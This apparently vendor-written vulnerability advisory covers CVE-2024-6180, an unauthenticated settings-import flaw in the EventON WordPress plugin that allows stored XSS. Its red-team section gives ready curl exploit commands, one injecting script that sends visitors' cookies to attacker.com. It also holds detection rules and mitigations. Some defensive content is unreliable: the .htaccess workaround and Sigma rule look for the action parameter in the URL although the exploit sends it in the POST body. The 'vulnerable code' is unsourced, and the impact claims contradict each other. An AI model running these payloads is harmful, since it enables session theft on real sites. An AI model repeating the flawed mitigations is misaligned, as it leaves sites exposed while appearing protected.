CVE-2024-6180

Executive Summary

CVE-2024-6180 is a critical missing authorization vulnerability in the EventON WordPress plugin (versions up to and including 2.2.15). The flaw resides in the eventon_import_settings AJAX action, which lacks a capability check, allowing unauthenticated attackers to modify plugin settings. This can lead to stored cross-site scripting (XSS) injection, enabling persistent malicious script execution on event calendar pages. The vulnerability has a CVSS score of 7.2 (High) and is currently unpatched. Given the widespread use of EventON in WordPress sites, this poses a significant supply chain risk.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the EventON plugin distributed via WordPress.org and third-party marketplaces. Since the plugin is unpatched, all sites running version 2.2.15 or earlier are at risk. Attackers can exploit this to inject malicious scripts, potentially compromising site integrity and user data. No official patch is available, making this a zero-day in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability allows unauthenticated attackers to modify plugin settings, including injecting stored XSS. While direct data theft is not possible, the integrity impact is significant due to persistent script injection.

Deep Dive & Mechanics

The vulnerability exists in the eventon_import_settings AJAX action handler. In WordPress, AJAX actions should be protected by capability checks (e.g., current_user_can('manage_options')). However, in EventON versions <= 2.2.15, this check is missing, allowing any unauthenticated user to call the action.

The handler processes imported settings without proper validation or sanitization. An attacker can craft a malicious request containing arbitrary settings, including HTML/JavaScript payloads. These settings are stored in the WordPress options table and rendered on event calendar pages without escaping, leading to stored XSS.

The attack flow:

1. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=eventon_import_settings and malicious payload.
2. The plugin saves the payload as a plugin setting.
3. When a user visits an event calendar page, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.15):

add_action('wp_ajax_eventon_import_settings', 'eventon_import_settings');
add_action('wp_ajax_nopriv_eventon_import_settings', 'eventon_import_settings');

function eventon_import_settings() {
    // No capability check
    $settings = $_POST['settings'];
    update_option('eventon_settings', $settings);
    echo 'Settings imported';
    wp_die();
}

Patched Code (Hypothetical fix):

add_action('wp_ajax_eventon_import_settings', 'eventon_import_settings');
// Remove nopriv action to require authentication

function eventon_import_settings() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    
    // Validate and sanitize input
    $settings = json_decode(stripslashes($_POST['settings']), true);
    if (!is_array($settings)) {
        wp_die('Invalid settings', 400);
    }
    
    // Sanitize each setting
    $sanitized = array_map('sanitize_text_field', $settings);
    update_option('eventon_settings', $sanitized);
    echo 'Settings imported';
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with EventON plugin <= 2.2.15
• No authentication required

Exploit Steps:

1. Identify the target site's AJAX endpoint: https://target.com/wp-admin/admin-ajax.php
2. Craft a malicious payload with stored XSS:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=eventon_import_settings&settings[eventon_calendar_header]=<script>alert('XSS')</script>"

3. Verify by visiting an event calendar page where the script executes.

Advanced Payload:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=eventon_import_settings&settings[eventon_calendar_header]=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"

Blue Team

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=eventon_import_settings from unauthenticated users.
2. Check for unusual settings values in the eventon_settings option.
3. Review web server logs for POST requests containing eventon_import_settings.

Honeypot Setup:

• Create a decoy WordPress site with EventON plugin and monitor for exploitation attempts.
• Log all AJAX requests and alert on eventon_import_settings action.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=eventon_import_settings
  • Requests containing settings[ in POST body
  • Outbound connections to attacker-controlled domains from event calendar pages

• File IOCs:

  • Modified eventon_settings option in WordPress database
  • Suspicious entries in wp_options table with key eventon_settings

• Behavioral IOCs:

  • Unexpected JavaScript execution on event calendar pages
  • Unauthorized changes to plugin settings

Detection Engineering

YARA Rule

rule CVE_2024_6180_EventON_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2024-6180 in EventON plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6180"
    strings:
        $ajax_action = "eventon_import_settings"
        $settings_param = "settings["
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $ajax_action and $settings_param and $xss_payload
}

Sigma Rule

title: CVE-2024-6180 EventON Plugin Unauthenticated Settings Modification
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with eventon_import_settings action
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=eventon_import_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6180 EventON Plugin Unauthenticated Settings Modification"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=eventon_import_settings"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the EventON plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing eventon_import_settings from unauthenticated users.
3. Monitor WordPress logs for unauthorized AJAX requests.

Long-term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Contact the vendor for an official update.
• Consider migrating to an alternative event calendar plugin with active security maintenance.

Workaround:

• Add the following to .htaccess to block unauthenticated access to the AJAX action:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} action=eventon_import_settings
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers